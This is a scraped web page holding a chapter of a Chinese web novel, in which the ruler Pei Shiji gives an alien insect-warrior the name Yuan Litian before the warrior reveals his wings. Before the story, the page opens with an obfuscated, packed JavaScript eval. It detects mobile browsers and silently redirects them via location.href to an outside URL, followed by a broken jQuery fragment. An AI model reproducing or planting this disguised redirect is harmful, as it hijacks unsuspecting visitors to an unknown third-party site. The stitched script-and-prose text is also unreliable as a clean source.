;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518117|186154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“怎么没分?汝等战时用命,我又非那眼瞎耳聋之人,能没看在眼里?休作此等丧气之言,你与隆兰都是孤之肱骨。”
说着,他也给武荆杯盏中甄满酒,而后举杯:
“来,陪孤喝一杯。”
雌虫还在消化这堆话,见裴时济举杯,下意识跟着举,送进嘴里才发现是什么,下意识愣了下。
“没有喝过酒?”裴时济奇道。
“喝过...不一样。”雌虫转着手里的酒杯,有些惊奇:“好淡的酒。”
“.....”
“等回到锡城,孤有些珍藏,一定拿出来与你分享。”裴时济承诺。
“你说杀人,是为了震慑,那打仗最后,为了什么?”雌虫点点头,又扭头看着他,咬字清晰,顿挫却很古怪,但问的问题桌子上的人都听懂了。
武荆嘴巴动了下,很快又闭上。
以往这种时候,漂亮话好像都有人来说,可杜先生不在,他嘴笨,还是闭嘴的好。
裴时济也意识到这个问题,但即便杜隆兰在这,他也不能让他越过自己张嘴,面对原弗维尔,他不能。
他的目光变得悠长,看向远处的蔚城,又越过它滑向远方:
“为了以戈止戈,苍生安宁,为了以武止战,永续和平,为了不再打仗,大家都能过好日子。”
他收回视线,举了举杯,冲他眨了下眼——在真心话和漂亮话中间,他选择了七分漂亮三分真心。
雌虫肃然道:“我不知道该怎么做,但你要做一个皇帝,一个很好的皇帝。”
裴时济失笑,这就是他想要的效果,但他这么说,会百分百相信的恐怕就只有眼前这个人了,连他自己也不信。
而武荆听到这句话也是精神抖擞,俨然觉得自己这从龙之功稳了,生生挤出几分开国功臣的威仪——无人在意。
“你说的那些,人口、粮食、田地、税收...这些数据,我可以帮你。”雌虫放下酒盏,一字一句道:
“数据收集、分析统计,不困难。”
他抬起右手,在两个人惊愕的目光中,他指根的肌腱随着抓握的动作微微起伏,极具力量感的小臂肌肉收缩,光晕流转,一个黑金色的手笼仿佛从他骨肉中浮出来,指锋如刃,好一件神兵利器。
武荆看的入神,裴时济却是见过的,只是以为他不曾带出来,原来竟然还有这种收纳的法门。
他们听不见的地方,智脑叫爆出鸡叫:
【电量只剩百分之五!!数据采集困难、数据分析困难、困难、都非常困难!!】
雌虫面不改色:
“我手甲里的光脑,能够做到那些事情。”
武荆不明所以,没有吱声,悄悄看向裴时济,却见他一脸肃穆,不作怀疑,只问:
“那我能给你什么?”
雌虫摇摇头,微微笑起来:
“你已经给了我很多。”
见他蹙眉,他强调:“真的很多,很多。”
裴时济陷入沉默,像是思索了许久,又问道:
“我还不知道你之后的打算。”
这话出来,武荆陡然坐直,眼观鼻鼻观心,俨然打算封闭五感,假装是个聋子了。
“...我想跟着你。”雌虫有些忐忑,他能感受到这也是裴时济的心愿,可不知道为什么,还是忐忑。
果然,裴时济听了,整个人终于安定了下来,笑意止不住从眼睛里溢出来:
“那,便在我军中做个将军如何?”
【只是将军,将军分好多档次的,他瞧不起你。】智脑哼哼道。
“你快没电了,省着点。”雌虫才不管这些,他又不会打这里的仗,自然该多学一下。
“但你没了这手笼以后...”裴时济面露忧虑。
【假惺惺,刚刚怎么不拒绝呢!?我可没有多余的能量给你远程翻译。】
“那你就抓紧充电,少废话两句省省。”雌虫怼完它,告诉裴时济:
“你多教我,就不需要它。”
“这是我早答应你的,不作数。”裴时济摇摇头,定定地看着他:“再想一个要求。”
雌虫纠结了很久,仍觉得他已经给自己很多很多了,只得摇头:
“想不出来。”
“那我给你起个名字。”裴时济握住他的手,他还记得进城前的对话:“只属于你的名字。”
雌虫忽的愣在原地。
“鸢戾天——鸢飞戾天,鱼跃于渊——苍鹰飞向天空,自由自在的意思,你觉得可好?”
他浑身一震,甚至没有等完脑中智脑干巴巴的翻译,就感觉翅膀好像钻进胸脯里扑棱棱地扇起来,一股热流从心脏中涌出,激荡,以至于最终变成咆哮,身体的每一寸都烫的惊人,叫他再无法安坐,霍然站起来,魂不守舍地亭子边上走来走去。
“你...”
“我很喜欢!这个名字,很好。”这是雌虫鸢戾天第一次打断他的阁下,他似喜似悲地转过身来:
“我其实有一个秘密...”
他的嗓音无端沙哑,继而一声砉然,金铁交鸣,声裂长空,亭子里骤然一暗——
一对巨大的翅翼从他背后展开,蔽日遮天。